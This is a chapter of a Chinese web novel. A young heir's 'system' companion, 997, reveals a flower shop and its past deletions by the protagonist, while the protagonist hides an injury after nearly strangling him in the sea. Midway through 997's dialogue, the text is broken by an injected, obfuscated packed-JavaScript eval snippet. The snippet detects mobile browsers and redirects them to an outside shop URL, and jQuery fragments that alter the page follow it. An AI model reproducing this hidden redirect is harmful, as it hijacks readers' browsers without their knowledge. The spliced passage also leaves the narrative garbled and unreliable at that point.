“联系医院了没?”
“什么叫还没,给你们开那么高工资请你们来当摆设的?!”
“刚刚身体还冰凉的,怎么说了两句话,额头就烫成这样?”
“都让开!”
各种声音海水似的灌进来。
蒋高轩手跟着声音一起抖,硬是把半昏迷的祁漾晃出了点意识。
祁漾撑着最后力气,抬起眼皮。
谢执还站在那里。
但笑意已经敛去,恢复成无波无澜的模样。
艳阳高照的天,那人沐着光,却像具没有生气的躯壳。
那躯壳在祁漾眼中越来越远,越来越小。
隐约间,祁漾看到一道身影朝着谢执走过去。
身形同样有点眼熟。
…对了,是魏河风。
砺石风投明面上的老板。
差点忘了,魏河风也在这艘游艇上。
997只离开了一小会,后台突然亮起红灯,赶忙回来,祁漾的体温已经飙到39度。
烧这么快显然不正常,大概率是被系统链接的精神压力影响到了。
997一查,症结果然在这,正要帮忙修复,忽然检测到一段有关谢执的波动。
是祁漾彻底晕过去前,残存的最后一点意识。
997想起那句“他是鬼么”,还以为是祁漾被谢执吓到了,细细一检索——
“魏河风在,应该会帮忙处理谢执肩上的伤吧。”
997愣了几秒,有些诧异地看了祁漾一眼。
-
魏河风避着人群,推开套房房门走进来,谢执正给自己右肩缠绷带。
他坐在床上,听到声音也没有抬头,咬着绷带打了个死结。
力道很重,鲜血重新从伤口渗出来,把原本雪白的绷带染出一块红。
魏河风看得肉痛,揉了揉自己的太阳穴:“大哥,你当我死的啊?就不能等我帮忙?”
谢执没在意伤口,也没在意魏河风的话,从床尾拿过干净衬衣,套在身上。
“走廊两个摄像头。”
“我知道,我从二楼链接廊下来的,拍不到,”魏河风翻了个白眼,“现在整艘船的人都在祁漾那里,蒋高轩连你都放过了,谁管我去哪?”
听到祁漾的名字,谢执系纽扣的长指微顿,只一下。
“死了?”
他继续系着纽扣,似笑非笑。
魏河风后脑胀到一整个哐哐疼,咬牙切齿:“我真是…”
真是信了他的邪才跟着谢执这个疯子回了天城。
“没死。”
魏河风说完,跟个没头苍蝇似的,在沙发旁暴躁踱步,连转了三圈,才扭脸看向谢执。
“祁漾死不了,不可能死,也不可以死。”
“尤其不能死在这,死在你手上!你懂不懂!”
魏河风一步跨过来,紧咬着后槽牙,目光如炬看着谢执:“谢执,你别以为我没看到,我看得很清楚!”
“看清楚什么。”
谢执声音轻飘得不像话,几秒后,慢条斯理笑了下。
“看清楚我怎么救他?”
“救?!”明明整个房间只有两个人,魏河风却还是压着嗓,几乎从牙齿缝隙间挤出声音,“你那是救吗?!”
祁漾和谢执一道落水,整船人乱成一锅粥,所有人都在找祁漾的位置,只有魏河风在找谢执。
借着那枚安在谢执领口处的针孔摄像头,魏河风看得比谁都清楚。
谢执哪是托着祁漾的下巴让他浮起来,分明是——
“你掐住了他的脖子!谢执!祁漾现在脖子上可能还留着你的指痕!”
“你是疯了吗?你知道他是谁吗?他是祁漾!别说死在这,就是稍微出点差池,整船人都别想落个好的祁漾。”
“你就算再想动手,也不能在这种时候,你明不明白?其他人都眼瞎吗?你还让我管他大爷的什么摄像头?现在你倒是知道这船上还有摄像头了?你想掐死祁漾的时候怎么不见你想起这个?你掐住祁漾脖子——”
魏河风声音突然顿住,他视线定在某个空荡荡的地方,声音骇到卡壳。
“不是,你脖子、你脖子上的平安扣呢。”
谢执表情终于有了一点变化,但转瞬即逝。
他系上最后一颗扣子。
“丢了。”
“你放屁,那平安扣你从不离身,怎么可能说丢就…”魏河风想到了什么,猛地抬头,“刚刚掉海里了?”
魏河风眼眶睁大:“…祁漾弄掉的?”
这次谢执没答。
魏河风脾气瞬间散得一干二净。
他嘴巴张了合,合了张,什么话都说不出来。
那枚墨玉做的平安扣,是沈舒留给谢执唯一的东西。
其余物件,无论大的,小的,都被沈韵一把烧净,连着灰,一起带进了沈舒和沈韵的墓里。
现在平安扣也被祁漾弄丢。
魏河风心头五味杂陈。
他点燃一根烟,抽了两口,才说:“让祁漾赔罪有无数条路,不用你亲自动手。”
“平安扣我找人捞。”
“不用。”谢执穿好衬衣,脸上看不出什么情绪。
他余光掠过胸口的位置。
留不住的东西,都是不该留的。
拼了命去拽,只会让人丑态毕露。
至于祁漾。
谢执脑海闪过祁漾那张脸。
好看得令人憎恶。
只是颗内里腐烂的苹果。
谢执抬手,摸了摸空荡的脖颈。
“可惜了。”他忽然说。
魏河风不知道这句“可惜了”说的是那枚平安扣,还是祁漾。
只是看着谢执。
与其说他平静,不如说是“习惯”。
因为习惯了失去,因为都在失去,所以面对失去时,连自怜都觉得奢侈,也没学会,只麻木的审判。
但平安扣终归是不一样的。
祁漾脖子上的指痕就是最好的证明。
魏河风唉了一声,拿出手机给底下的人发消息,问打捞的事。
底下很快回过。
【老大,问过了,说平安扣体积太小了,没有定位,又是深海,随洋流移动可能一天一个位置,跟大海捞针没区别,就算不计成本,也不可能。】
魏河风又叹了一口气,仰头看向二楼的方位。
这祁家少爷动什么不好,怎么偏偏弄丢了这个?
-
而此时躺在二楼,偏偏弄丢了这个的少爷,体温一点一点降下来。
祁漾眼睛还没睁开,意识已经清醒,耳边是医生和蒋高轩他们的声音。
“奇怪,体温怎么降这么快?”
“你是医生你问我?”
祁漾脑袋还有点沉,隐约觉察到什么。
“997,体温你帮我降的?”
两秒后,997出现:“嗯。”
祁漾:“你真好。”
电流声滋啦滋啦两下。
“这次是特殊情况,你身体异常是系统链接造成的,所以我能帮你修复。”
“但现生层面造成的病症,只能现生修复。”
祁漾:“现生修复?”
997道:“就是看医生。”
祁漾听笑了:“你们系统讲话都这样吗?”
一板一眼的。
997:“……”
“好了,讲正事,”祁漾正色道,“你不是说‘天道眷顾’光环在我身上吗?我还会生病吗?病了系统也不能帮忙?”
“天道眷顾光环指的是宿主生命遭遇严重威胁,濒死时,光环能帮助宿主化险为夷。”
“至于修复现生层面造成的病症,”997停顿片刻,“很抱歉,原则上,宿主您暂时没有这个权限。”
“权限?”
随着祁漾话音落下,他脑海“嘀”的一下,一个闪着萤蓝光的界面凭空闪现出来。
界面上方映着“欢迎登录数据中心”六个字。
用户名那里还写着祁漾的名字。
祁漾已经彻底接受系统的存在,此时无论看到什么都接受良好。
“点登录吗?”他新奇道。
“嗯,输入密码登录,密码是π997。”
祁漾随着指令登进后台,打眼一扫,终于明白997口中的“没有权限”是什么意思。
在这个暂时写着祁漾名字的中心数据库里,除了人物介绍页面和地图等基本功能,其他页面,比如什么成就解锁、成就奖励,全是灰的,唯一点亮的,就一块写着“经验积分”的小版块。
“…也不是什么都不能用,”997找补似的开口,“系统初始赠送痛觉屏蔽和伤害比例减免功能。”
“只是宿主需注意,这两项功能会在检测到宿主生命遭遇重大威胁时自动生效,也只在这种情况下生效,其余情况暂不适用。”
“除此之外,获得的经验积分也是可以兑换物品的,后期如果宿主资源超出,还可以把已兑换的物品或者相关功能进行回收,重新兑换成经验积分。”
997说完又沉默下来。
不是不愿意说。
是不知道说什么了。
这个位面世界是为谢执而生的,系统所有数据也是为谢执量身定制,祁漾就像一段突然的,错误的编码。
这个“Bug”可以保持运行,但不可完全兼容。
就像一个新版本文档无法在旧版系统打开。
997没打过这么贫瘠的仗,正心虚,却听到它宿主雀跃的声音。
“这是什么?”
997一回神,听到祁漾这么问。
它一看。
它的宿主正在尝试点开一个小浮窗。
“这个不用看。”997立刻道。
祁漾:“不能看?”
997:“不是,这个界面是系统相关,对宿主来说是无关界面。”
然而这个宿主显然不按常理出牌。
“那我倒要看看多无关了。”
997:“…?”
祁漾一点进去——
是一个小小的系统鲜花商城。
997没拦住,只好开口解释。
“鲜花商城的兑换货币是宿主的经验积分,对宿主没有助益,不用……”
“对你们系统呢?有用吗?”
“有用,算是额外……”
“类似于奖金?”
“嗯,但对宿主没有……”
“你喜欢洋甘菊还是康乃馨?”
祁漾语速如珠似弹。
997意识到了什么,一惊:“我、我不……”
祁漾:“那洋甘菊吧。”
6积分,兑换。
初始积分总共才10积分,一下被砍掉大半。
997整个统都傻了,后台界面都差点稳不住,一路噼里啪啦火花带闪电。
“宿主!”997陡然拔高音量。
祁漾笑了下,随口回了句“在呢”,然后继续往下扫着鲜花商城。
好像一点也不在意刚刚挥金如土的那一下。
“花的品类还挺多。”
“最贵的是这个铃兰吗?要99积分。”
“你怎么不说话?不喜欢洋甘菊?”
过了足足半分钟,祁漾才重新听到997的声音。
“喜欢,但不值。”
“喜欢那就值。”祁漾云淡风轻开口。
997不明白。
它们系统不是没收过花。
历经那么多世界,在许多位面,在宿主已经获得足够多的经验,解锁足够多的成就,积分满溢的情况下,会有宿主选择给系统送点奖励,但——
“没有哪位宿主会用初始积分送系统花的。”
总共也才十积分。
祁漾的积分还比一般宿主更难攒。
“那现在有了。”
“你让我平白赚了一个系统,还给我治病,就当做见面礼。”祁漾说。
“…宿主,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444214|201078||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这是我们系统本职工作。”
“那就当之前吓唬你的道歉礼物。”
997:“…?”
那么多禁用权限,宿主为什么不生气,还要送它花?
997不懂。
它凝神看着这位新宿主。
新宿主还在研究鲜花商城,甚至得空问了一句怎么没有10积分的花。
…就好像如果有,他会毫不犹豫把全部积分兑换掉。
没一会。
“997你收到过铃兰没?”祁漾又问。
997实在不知道自己这位宿主哪来那么多乱七八糟,东一榔头西一棒槌的想法。
“没。”
“那我攒攒,到时候给你兑一个。”
“?”
祁漾点开那朵铃兰,正想看看商品简介,可手指一滑,不知道点到了什么,系统突然来到一个全新界面。
与之前所有界面都不一样。
这个界面极其简洁。
悬着的窗口上只有两个硕大,鲜红的按钮。
一个写着注销,一个写着转移。
“997,这两个按钮是?”
997诡异地停顿了片刻,才开口。
“注销系统和转移系统。”
那不就是他需要的吗?
把系统转还给谢执。
祁漾眼睛都闪了闪,抬起手才意识到按钮同样是灰色的。
意味着没有使用权限。
“我按不了?”
“是的,”997还是那句话,“抱歉宿主,只有位面主角有这个权限。”
“我不是说这个。”祁漾摆摆手,他盯着这两个按钮看了好一会。
“这两个按钮的设计意义是什么?”
别说没有这个权限。
就算有,也没人需要吧。
用扁桃体想,都知道没有哪个主角会销毁系统。
更遑论转移。
祁漾没注意到997突然没了声音,抬手正要关掉。
“有的。”机械音再度出现,带来这么两个字。
祁漾手顿住:“?”
“注销过。”997声音比刚刚更低。
“谁?”祁漾下意识追问完,脑海突然浮出一道影子。
不会吧……
祁漾心口一跳。
“…谢执?”
死一般的寂静后。
祁漾听到997那混杂着断续哨音,像临终喉响,又像微弱哀鸣,透出深深绝望的——
“嗯。”
“谢执。”
“注销次数,31次。”
-
直到意识彻底回笼,听到蒋高轩他们的声音。
祁漾还没从这个“31次”里缓过来。
身上的不适感已经消散大半,思绪却仍在放空。
997说它在谢执这个位面运行了31次。
运行31次,注销31次?
谢执是在什么情况下注销的系统?
“不是说都退烧了吗?怎么还不醒?”蒋高轩说。
谢家覆灭后?还是自尽前?
“到底行不行,给个准话。”
为什么注销?
“给中沙那边打电话,让他们的移动医疗车在码头等着,船到车到!”
还有谢执……
“人不够就把保姆艇上的人调过来,速度给我提到最快!还有甲板上的监控什么时……”
祁漾太阳穴鼓胀到几乎要爆炸,刷地一下睁开眼:“死人都能被你吵活。”
差点就要砸手机的蒋高轩听到祁漾的声音,通话都来不及挂,扔下手机三步并两步从窗边踱过来:“醒了?有没有哪里不舒服?想不想吐?”
“…没事。”
祁漾看着围在床边乌泱泱小二十号人,在额头按了好一会才开口:“去玩吧,都待这干什么。”
祁漾靠在枕头上,刚退烧,出了点冷汗,额前贴着几缕濡湿的碎发,看着仍有点病气。
“都先出去。”蒋高轩听着,朝着他们摆了摆手。
一群小姐少爷谁都不想走,可蒋少发了话,再不情不愿也只好应下。
一群人小声嘟囔了几句,也朝着大门走,却忽然听到一句“等等”。
是祁漾的声音。
所有人登时停下脚步,齐齐回头。
乌泱泱一团被这一声按下暂停键。
只有拎着药箱的随行私人医生脚步没停。
床上一个大祖宗,旁边一屋小祖宗,这“等等”总归不该是喊他,医生这么想着,碎步挪得更快。
就在他脚要跨出房门的瞬间——
“医生?”床上大祖宗不解的声音传来,“怎么走那么快?”
如芒在背。
医生一回头,果然,一屋的视线全射在他身上。
医生汗差点冒出来。
“祁少,你这烧起得太快退得太快,确实不太对劲,船上仪器不太充足,我已经联系医疗车和团队了,等靠岸……”
“我不是问这个,”祁漾看着医生的样子,随口补了一句,“我身体没事,不是你的问题。”
祁漾快速终止这个话题。
视线往下一转,落在医生的医疗箱上。
在甲板上的时候,997是不是提醒了一句,说男主出现了轻度失血症状?
祁漾盯着那医疗箱看了好一会。
“里面有清创消毒的器械吗?”他忽然问。
医生愣了下,答:“有的。”
蒋高轩还没从祁漾高烧的事里缓过神,转耳又听到清创消毒。
“清创?你身上有伤口?哪里?”
“不是我。”祁漾回了他一声,继续看向医生,“那你跟管家去一趟一楼。”
“谢执房间…你问管家,看看谢执房间几号。”
“他肩膀在流血,你处理一下。”
祁漾停顿了片刻,又道。
“别说是我,就说管家让你来的。”
整个屋子安静了。